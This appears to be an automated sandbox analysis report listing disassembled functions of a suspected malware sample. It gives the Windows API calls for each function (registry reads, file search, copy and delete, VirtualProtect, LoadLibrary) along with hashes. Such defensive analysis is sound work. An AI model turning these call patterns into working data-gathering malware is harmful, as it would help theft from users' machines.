Opcode ID: b97104fd662995cfad6d6c7205974953a7702af5bf03f7cdde88330e3a2931d4
Instruction ID: 5ad523267ed72994677b79ea1d9dce7d7822fbf486e040e59600fa97cf483dfd
Opcode Fuzzy Hash: b97104fd662995cfad6d6c7205974953a7702af5bf03f7cdde88330e3a2931d4
Instruction Fuzzy Hash: D53155B5D10109ABCB04EBE4DC85AEF77B8BF44304F14452AE915B7282E7389E04CBA5

Function 022DCDA0 Relevance: 7.6, APIs: 5, Instructions: 94COMMON

Download Yara Rule

APIs

IsValidCodePage.KERNEL32 ref: 022DCDD8
GetCPInfo.KERNEL32(?,?), ref: 022DCDEB
memset.MSVCRT ref: 022DCE03
setSBUpLow.LIBCMT ref: 022DCED9

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: CodeInfoPageValidmemset
String ID:
API String ID: 703783727-0
Opcode ID: a2b74ec6b56f4fd1bb42d268d048981a4065a41abb9520184a3cb1684c992875
Instruction ID: efb6c8353c0cfa549cf753d93e8578fca3eb1080a916517ebfae367529448362
Opcode Fuzzy Hash: a2b74ec6b56f4fd1bb42d268d048981a4065a41abb9520184a3cb1684c992875
Instruction Fuzzy Hash: 3931E871A242929EDB26CFB5CC943B9BFA59F06315F1881BBD881CF19AC778C406C761

Function 022D51A7 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 022D9047: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 022D9072

lstrcat.KERNEL32(?,00000000), ref: 022D51E1
lstrcat.KERNEL32(?,00421070), ref: 022D51FE
lstrcat.KERNEL32(?,0064A5F8), ref: 022D5212
lstrcat.KERNEL32(?,00421074), ref: 022D5224

Part of subcall function 022D4B77: wsprintfA.USER32 ref: 022D4B93
Part of subcall function 022D4B77: FindFirstFileA.KERNEL32(?,?), ref: 022D4BAA

Part of subcall function 022D4B77: StrCmpCA.SHLWAPI(?,00420FDC), ref: 022D4BD8
Part of subcall function 022D4B77: StrCmpCA.SHLWAPI(?,00420FE0), ref: 022D4BEE
Part of subcall function 022D4B77: FindNextFileA.KERNEL32(000000FF,?), ref: 022D4DE4
Part of subcall function 022D4B77: FindClose.KERNEL32(000000FF), ref: 022D4DF9

Strings

`1y, xrefs: 022D5266, 022D526C

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID: `1y
API String ID: 2667927680-1477631000
Opcode ID: fea607eff97497eb4fd5309f6b34a87d5e7f8ff3753410a5b2e417b1bb1efa56
Instruction ID: ad14128fbeaaa3fe8c907fcbc40012b576f6b364d9f9a5d47ecb7b00ee3d8b0d
Opcode Fuzzy Hash: fea607eff97497eb4fd5309f6b34a87d5e7f8ff3753410a5b2e417b1bb1efa56
Instruction Fuzzy Hash: D721B67AA503087BC714FBE0DC45EE9337AAB55300F404198B68992184DE7596C9CFA2

Function 004187C0 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420E28,00000000,?), ref: 0041882F
HeapAlloc.KERNEL32(00000000,?,?,?,?,00420E28,00000000,?), ref: 00418836
wsprintfA.USER32 ref: 00418850

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Strings

/y, xrefs: 004187EF
%dx%d, xrefs: 00418847

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Heap$AllocProcesslstrcpywsprintf
String ID: /y$%dx%d
API String ID: 2716131235-3838359617
Opcode ID: 124e357ede7c9a4ec2e38b5c0962ba134007384ad5c1c3eeb759acb43c381339
Instruction ID: e741bf7ca2fc1d65a497d39fe48fe123552d5275a0b8a8093fc8d321cf3eb0b5
Opcode Fuzzy Hash: 124e357ede7c9a4ec2e38b5c0962ba134007384ad5c1c3eeb759acb43c381339
Instruction Fuzzy Hash: 48217FB5A80208BFDB00DFD4DD49FAEBBB9FB49B00F104119F605A7280C779A900CBA5

Function 022D8067 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 022D809E
RtlAllocateHeap.NTDLL(00000000), ref: 022D80A5
RegOpenKeyExA.ADVAPI32(80000002,0064A1D4,00000000,00020119,?), ref: 022D80C5
RegQueryValueExA.ADVAPI32(?,0064A4EC,00000000,00000000,000000FF,000000FF), ref: 022D80E6
RegCloseKey.ADVAPI32(?), ref: 022D80F9

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: f2207629c624761bbe8885f03498d73c435f9e088398b1cc221a346ec08661e3
Instruction ID: dad999f744f97da386e04010e168c21383957a89a9b3432bcef38ba4ac3a64f3
Opcode Fuzzy Hash: f2207629c624761bbe8885f03498d73c435f9e088398b1cc221a346ec08661e3
Instruction Fuzzy Hash: 6A116DB5A94209BBD700CFD4DC4AFBBB7B9EB05701F004219F615A7280C7B458018BA2

Function 00417E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417E37
HeapAlloc.KERNEL32(00000000), ref: 00417E3E
RegOpenKeyExA.ADVAPI32(80000002,007958C8,00000000,00020119,?), ref: 00417E5E
RegQueryValueExA.ADVAPI32(?,00799DE0,00000000,00000000,000000FF,000000FF), ref: 00417E7F
RegCloseKey.ADVAPI32(?), ref: 00417E92

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: f2207629c624761bbe8885f03498d73c435f9e088398b1cc221a346ec08661e3
Instruction ID: f35b37edc560d93cca1bbeb044924e1a71a0ba88b9c12cde0d27c4035fcf8d53
Opcode Fuzzy Hash: f2207629c624761bbe8885f03498d73c435f9e088398b1cc221a346ec08661e3
Instruction Fuzzy Hash: 01114CB5A84205FFD710CFD4DD4AFBBBBB9EB09B10F10425AF605A7280D77858018BA6

Function 022D7987 Relevance: 7.5, APIs: 5, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 022D799B
RtlAllocateHeap.NTDLL(00000000), ref: 022D79A2
RegOpenKeyExA.ADVAPI32(80000002,0064A398,00000000,00020119,022D7920), ref: 022D79C2
RegQueryValueExA.ADVAPI32(022D7920,00420AAC,00000000,00000000,?,000000FF), ref: 022D79E1
RegCloseKey.ADVAPI32(022D7920), ref: 022D79EB

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 43a46ff31c4728249bb55ffe5b6c0263db84e810ad24588de6037cbf7116cf65
Instruction ID: e4e33df23d6af173b855dbbfc98c13829bc900105dd33c582b58ee17537167bb
Opcode Fuzzy Hash: 43a46ff31c4728249bb55ffe5b6c0263db84e810ad24588de6037cbf7116cf65
Instruction Fuzzy Hash: CE014FB9A80308BFEB10DFE0DC4AFAEB7B9EB48701F104159FA05A7280D67496008F52

Function 00419260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(00799898,?,?,?,0041140C,?,00799898,00000000), ref: 0041926C
lstrcpyn.KERNEL32(0064AB88,00799898,00799898,?,0041140C,?,00799898), ref: 00419290
lstrlenA.KERNEL32(?,?,0041140C,?,00799898), ref: 004192A7
wsprintfA.USER32 ref: 004192C7

Strings

%s%s, xrefs: 004192B5

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: bda2825dd20141c14e66db048f7389e73ec0fb40efc247105e9df97f2adce381
Instruction ID: a59194731e19cd62a1114d9db51b1d7a77f87ed08144ed5303bdb74f02b8d175
Opcode Fuzzy Hash: bda2825dd20141c14e66db048f7389e73ec0fb40efc247105e9df97f2adce381
Instruction Fuzzy Hash: FD010879580108FFCB04DFECC998EAE7BBAEB49394F108548F9098B300C635AA40DB95

Function 022C1507 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 022C151B
RtlAllocateHeap.NTDLL(00000000), ref: 022C1522
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 022C153E
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 022C155C
RegCloseKey.ADVAPI32(?), ref: 022C1566

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: fa554e1047db5fd5a59fe71b1bc1fc144662bff3d722b2db7a38c4cdc39b2b47
Instruction ID: b61b3052f9ad2089977eedf340f3dea51ea8aae8770192815130ad974ae50132
Opcode Fuzzy Hash: fa554e1047db5fd5a59fe71b1bc1fc144662bff3d722b2db7a38c4cdc39b2b47
Instruction Fuzzy Hash: D10131BDA40208BFDB10DFE0DC49FAEB7BDEB48701F108159FA0597280D6749A018F91

Function 004012A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
HeapAlloc.KERNEL32(00000000), ref: 004012BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 004012D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5
RegCloseKey.ADVAPI32(?), ref: 004012FF

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: fa554e1047db5fd5a59fe71b1bc1fc144662bff3d722b2db7a38c4cdc39b2b47
Instruction ID: a780f69aac564b2d92452564e57f3177c1920ebdf93c56c18a8360c70aaf8c3d
Opcode Fuzzy Hash: fa554e1047db5fd5a59fe71b1bc1fc144662bff3d722b2db7a38c4cdc39b2b47
Instruction Fuzzy Hash: 000131BDA40208BFDB10DFE0DC49FAEB7BDEB48701F008159FA05A7280D6749A018F51

Function 022DC9A9 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 022DC9B5

Part of subcall function 022DC206: __getptd_noexit.LIBCMT ref: 022DC209
Part of subcall function 022DC206: __amsg_exit.LIBCMT ref: 022DC216

__getptd.LIBCMT ref: 022DC9CC
__amsg_exit.LIBCMT ref: 022DC9DA
__lock.LIBCMT ref: 022DC9EA
__updatetlocinfoEx_nolock.LIBCMT ref: 022DC9FE

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 9141d4d236c8230aa4afe5b4a9d8ccb2514574f5d49c72fbeb20a3e596f06de6
Instruction ID: 29887b56b244f2a0121e73668c9b9826f72253c30165ac38f0eec8a1d4308e7f
Opcode Fuzzy Hash: 9141d4d236c8230aa4afe5b4a9d8ccb2514574f5d49c72fbeb20a3e596f06de6
Instruction Fuzzy Hash: 94F0B432A717119BDB30BBE8990ABAD33A1AF04768F11020BD414A71D8DBA45541DF9E

Function 0041C742 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041C74E

Part of subcall function 0041BF9F: __getptd_noexit.LIBCMT ref: 0041BFA2
Part of subcall function 0041BF9F: __amsg_exit.LIBCMT ref: 0041BFAF

__getptd.LIBCMT ref: 0041C765
__amsg_exit.LIBCMT ref: 0041C773
__lock.LIBCMT ref: 0041C783
__updatetlocinfoEx_nolock.LIBCMT ref: 0041C797

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 97b8e5648014eb75fe7e4c2f5c52bbac28816c25018f37e92348e0e4551f1163
Instruction ID: 4c6ecd523783b942696bdc62fd612c852c6eee159b5b032e672b771ca3e86784
Opcode Fuzzy Hash: 97b8e5648014eb75fe7e4c2f5c52bbac28816c25018f37e92348e0e4551f1163
Instruction Fuzzy Hash: B0F09632A813119BD7207BB95C467DE33A09F00728F24414FF414A62D2CBAC59D28E9E

Function 00414BB0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00414BEA
lstrcatA.KERNEL32(?,00799DA0), ref: 00414C08

Part of subcall function 00414910: wsprintfA.USER32 ref: 0041492C
Part of subcall function 00414910: FindFirstFileA.KERNEL32(?,?), ref: 00414943

Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FDC), ref: 00414971
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FE0), ref: 00414987
Part of subcall function 00414910: FindNextFileA.KERNEL32(000000FF,?), ref: 00414B7D
Part of subcall function 00414910: FindClose.KERNEL32(000000FF), ref: 00414B92

Part of subcall function 00414910: wsprintfA.USER32 ref: 004149B0
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,004208D2), ref: 004149C5
Part of subcall function 00414910: wsprintfA.USER32 ref: 004149E2
Part of subcall function 00414910: PathMatchSpecA.SHLWAPI(?,?), ref: 00414A1E
Part of subcall function 00414910: lstrcatA.KERNEL32(?,00793010,?,000003E8), ref: 00414A4A
Part of subcall function 00414910: lstrcatA.KERNEL32(?,00420FF8), ref: 00414A5C
Part of subcall function 00414910: lstrcatA.KERNEL32(?,?), ref: 00414A70
Part of subcall function 00414910: lstrcatA.KERNEL32(?,00420FFC), ref: 00414A82
Part of subcall function 00414910: lstrcatA.KERNEL32(?,?), ref: 00414A96
Part of subcall function 00414910: CopyFileA.KERNEL32(?,?,00000001), ref: 00414AAC
Part of subcall function 00414910: DeleteFileA.KERNEL32(?), ref: 00414B31

Part of subcall function 00414910: wsprintfA.USER32 ref: 00414A07

Strings

UaA, xrefs: 00414C2F, 00414C64, 00414C9A, 00414CCF, 00414D05, 00414D3A, 00414D5F, 00414C32, 00414C67, 00414C9D, 00414CD2, 00414D08, 00414D3D
00y, xrefs: 00414C7F

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: 00y$UaA
API String ID: 2104210347-4255973613
Opcode ID: 2cac0148d2110f3df46bb078800b33f8f0db55810685f274a968c650ce667207
Instruction ID: 5a37e5a53a2562059c730f6b0b3ae842953eee94398a2728108a858f2c1bafc2
Opcode Fuzzy Hash: 2cac0148d2110f3df46bb078800b33f8f0db55810685f274a968c650ce667207
Instruction Fuzzy Hash: 9341C5BA6001047BD754FBB0EC42EEE337DA785700F40851DB54A96186EE795BC88BA6

Function 022CA307 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(-y,0064B390,0000FFFF), ref: 022CA324
LoadLibraryA.KERNEL32(0064A578), ref: 022CA3AD

Part of subcall function 022DA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 022DA9EF

Part of subcall function 022DAA87: lstrlen.KERNEL32(022C516C,?,?,022C516C,00420DDE), ref: 022DAA92
Part of subcall function 022DAA87: lstrcpy.KERNEL32(00420DDE,00000000), ref: 022DAAEC

Part of subcall function 022DAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FBC,00420E17), ref: 022DAC2C
Part of subcall function 022DAC17: lstrcpy.KERNEL32(00000000), ref: 022DAC6B
Part of subcall function 022DAC17: lstrcat.KERNEL32(00000000,00000000), ref: 022DAC79

Part of subcall function 022DAB87: lstrcpy.KERNEL32(00000000,?), ref: 022DABD9
Part of subcall function 022DAB87: lstrcat.KERNEL32(00000000), ref: 022DABE9

Part of subcall function 022DAB07: lstrcpy.KERNEL32(?,00420E17), ref: 022DAB6C

SetEnvironmentVariableA.KERNEL32(-y,00000000,00000000,?,004212D8,?,?,0064B390,00420AFE), ref: 022CA399

Strings

-y, xrefs: 022CA31E, 022CA323, 022CA392, 022CA398

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: -y
API String ID: 2929475105-3988916203
Opcode ID: 6027c5fd171335b18c1cc3c543ab76e1658be5b37c2198500408d77f0a97119a
Instruction ID: c8b16689c1a53126819a0aa80229d8a29aa640f0fdb186227b619f0f72d35f07
Opcode Fuzzy Hash: 6027c5fd171335b18c1cc3c543ab76e1658be5b37c2198500408d77f0a97119a
Instruction Fuzzy Hash: 614160799A0204FFCB14EFE4ED84EAA77BBBB0A304F19122DE505932A4DB745944CF52

Function 0040A0A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(00792DE0,0064B390,0000FFFF,?,?,?,?,?,?,?,?,?,?,?,00410153), ref: 0040A0BD
LoadLibraryA.KERNEL32(00799E60,?,?,?,?,?,?,?,?,?,?,?,00410153), ref: 0040A146

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,00792F70,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

SetEnvironmentVariableA.KERNEL32(00792DE0,00000000,00000000,?,004212D8,?,00410153,0064B390,00420AFE), ref: 0040A132

Strings

-y, xrefs: 0040A0B7, 0040A12B

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: -y
API String ID: 2929475105-3988916203
Opcode ID: 1dc6ff5021299d9550873c4f7eaef05b9e07b560f3695bfeac6a120b66fe4e78
Instruction ID: 8fd865f7776555e91364b6e3317f0d6dd22ba45ac697d56d5a10bd23e480980a
Opcode Fuzzy Hash: 1dc6ff5021299d9550873c4f7eaef05b9e07b560f3695bfeac6a120b66fe4e78
Instruction Fuzzy Hash: F9418DB9941204BFCB04EFE5ED45BEA33B6BB0A305F05112EF405A32A0DB385985CB67

Function 00406BE0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,@Jn@,@Jn@), ref: 00406C9F

Strings

Jn@, xrefs: 00406BED, 00406C0D, 00406C8F
Jn@, xrefs: 00406C1D, 00406C39, 00406C88, 00406C98, 00406C04, 00406C28, 00406C33
@Jn@, xrefs: 00406C80, 00406C83

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: @Jn@$Jn@$Jn@
API String ID: 544645111-1180188686
Opcode ID: caf630da144662436c325b164354e3ce96217d6286d52214ffa948e93cb1361e
Instruction ID: b746c2a28f05bbd6b1460d210bf7098c9bc173f160aa6dfc6dfdc57a011f18e7
Opcode Fuzzy Hash: caf630da144662436c325b164354e3ce96217d6286d52214ffa948e93cb1361e
Instruction Fuzzy Hash: FA213374E04208EFEB04CF84C544BAEBBB5FF48304F1181AAD54AAB381D3399A91DF85

Function 022D8A27 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420E28,00000000,?), ref: 022D8A96
RtlAllocateHeap.NTDLL(00000000), ref: 022D8A9D
wsprintfA.USER32 ref: 022D8AB7

Part of subcall function 022DA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 022DA9EF

Strings

/y, xrefs: 022D8A56, 022D8A5B

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: /y
API String ID: 1695172769-4241059335
Opcode ID: 124e357ede7c9a4ec2e38b5c0962ba134007384ad5c1c3eeb759acb43c381339
Instruction ID: 3e3b155a863220bc6ad6d47005a1aade4b43e15a6964d8ca76970e930c8fb7df
Opcode Fuzzy Hash: 124e357ede7c9a4ec2e38b5c0962ba134007384ad5c1c3eeb759acb43c381339
Instruction Fuzzy Hash: EE2142B5A84204BFDB10DFD4DD45FAEBBB9FB49701F104119F605A7680C779A900CB65

Function 00418B60 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 60timeCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

GetSystemTime.KERNEL32(?,00794A78,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Strings

xJy, xrefs: 00418B74
cI@, xrefs: 00418B6C, 00418BE5, 00418BF0, 00418C04, 00418BD3, 00418BF3
cI@, xrefs: 00418BB1, 00418BE1, 00418BE4

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
